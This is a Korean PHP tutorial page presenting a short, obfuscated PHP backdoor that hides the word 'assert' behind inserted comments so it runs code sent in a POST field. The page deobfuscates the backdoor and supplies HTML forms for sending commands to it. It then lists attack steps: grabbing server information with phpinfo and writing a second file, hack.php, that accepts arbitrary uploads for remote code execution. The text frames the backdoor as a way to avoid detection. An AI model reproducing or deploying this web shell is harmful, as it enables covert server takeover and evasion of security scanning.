짧고 숨겨진 코드가 있는 백도어 트로이목마-PHP 튜토리얼-php.cn

짧고 숨겨진 코드가 있는 백도어 트로이목마

WBOY

풀어 주다： 2016-07-30 13:29:59

원래의

1447명이 탐색했습니다.

이 글에서는 코드가 매우 짧고 숨겨져 있는 백도어 트로이목마를 소개하여 모든 사람이 탐지 시 중단되는 것을 방지할 수 있습니다. 프로그램.트로이 목마.

파일 내용은 다음과 같습니다.

<code><?php
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>;
@<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>;
@<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>}
[<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>

로그인 후 복사

코드에 주석 문자가 많이 삽입되어 있는데, 이는 서버의 탐지 프로그램이 엄격하지 않으면 탐지하기 어려울 것입니다.

댓글을 삭제한 후 코드는 다음과 같습니다.

<code><span><span><?php</span>
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>;
@<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>;
@<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>}
[<span>0</span>-<span>2</span>-<span>5</span>]);
<span>?></span></span></code>

로그인 후 복사

실제로 실행된 최종 코드는 다음과 같습니다.

<code><span><span><?php</span>
assert(${<span>"_POST"</span>}[-<span>7</span>]);
<span>?></span></span></code>

로그인 후 복사

이 백도어는 php를 사용하는 것으로 밝혀졌습니다. 프로그램을 실행하는 assert 메소드입니다.

<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] )
</code>

로그인 후 복사

assert()는 지정된 주장을 확인하고 결과가 FALSE인 경우 적절한 조치를 취합니다.

assertion이 문자열인 경우 Assert()에 의해 PHP 코드로 실행됩니다.

$assertion의 내용이 phpinfo();이면 서버 정보가 반환되므로 공격자는 해당 서버 정보를 얻을 수 있습니다. 공격 .

이 백도어를 업로드한 후 공격자는 서버에서 PHP 문을 실행하기 위한 간단한 HTML만 생성하면 됩니다.
백도어 파일이 backdoor.php라고 가정

<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

로그인 후 복사

공격방법 :
1. 서버 정보를 얻으려면

<code><span>phpinfo()</span>;</code>

로그인 후 복사

입력 2. 파일을 마음대로 업로드할 수 있는 php를 생성하려면

<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>

로그인 후 복사

입력 후 html을 생성하여 hack을 호출하여 파일 업로드 .php

<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

로그인 후 복사

이후에는 php 파일을 업로드해서 마음대로 실행할 수 있습니다.

위 내용은 관련 내용을 포함하여 짧고 숨겨진 백도어 트로이 목마 코드를 소개하는 내용이 PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.